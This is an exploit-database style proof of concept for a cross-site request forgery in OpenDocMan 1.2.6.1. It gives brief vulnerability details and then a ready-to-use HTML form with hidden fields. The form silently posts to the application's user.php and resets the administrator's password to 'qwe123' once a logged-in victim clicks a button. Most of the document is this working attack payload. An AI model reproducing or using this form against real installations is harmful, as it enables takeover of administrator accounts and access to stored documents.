# Exploit Title: OpenDocMan Password Change CSRF# Date: 22/08/2012# Exploit Author: Shai rod (@NightRang3r)# Vendor Homepage: http://www.opendocman.com/# Software Link: https://github.com/downloads/opendocman/opendocman/opendocman-1.2.6.1.tar.gz# Version: 1.2.6.1#Gr33Tz: @aviadgolan , @benhayak, @nirgoldshlager, @roni_bachar<html><head><title>OpenDocMan v1.2.6.1 Password Change CSRF</title></head><body><pre>
About the Application:======================
OpenDocMan is a free,open source web-based PHP document management system (DMS) designed to comply with ISO 17025and OIE standard for
document management. It features web based access, fine grained control of access to files,and automated install and upgrades.
Vulnerability Details:======================
OpenDocMan is vulnerable to a CSRF which allows an attacker to change users password and profile details.
In order to change user details the attacker must know the user id,for example; the default idfor the "admin" user is1.
The victim must be logged inwhile clicking the malicious link.<center><h2>Change Admin Password</h2></center></pre><center><form action="http://10.0.0.12/open/user.php" method="POST" enctype="multipart/form-data"><inputtype="hidden" name="caller" value="/open/profile.php"/><inputtype="hidden" name="id" value="1"/><inputtype="hidden" name="last_name" value="Admin"/><inputtype="hidden" name="first_name" value="Admin"/><inputtype="hidden" name="username" value="admin"/><inputtype="hidden" name="phonenumber" value="
" /><inputtype="hidden" name="password" value="qwe123"/><inputtype="hidden" name="Email" value="admin@example.com"/><inputtype="hidden" name="department" value="1"/><inputtype="hidden" name="admin" value="1"/><inputtype="hidden" name="department_review[]" value="1"/><inputtype="hidden" name="set_password" value="0"/><inputtype="hidden" name="submit" value="Update User"/><inputtype="submit" value="Click Me"/></form></center></body></html>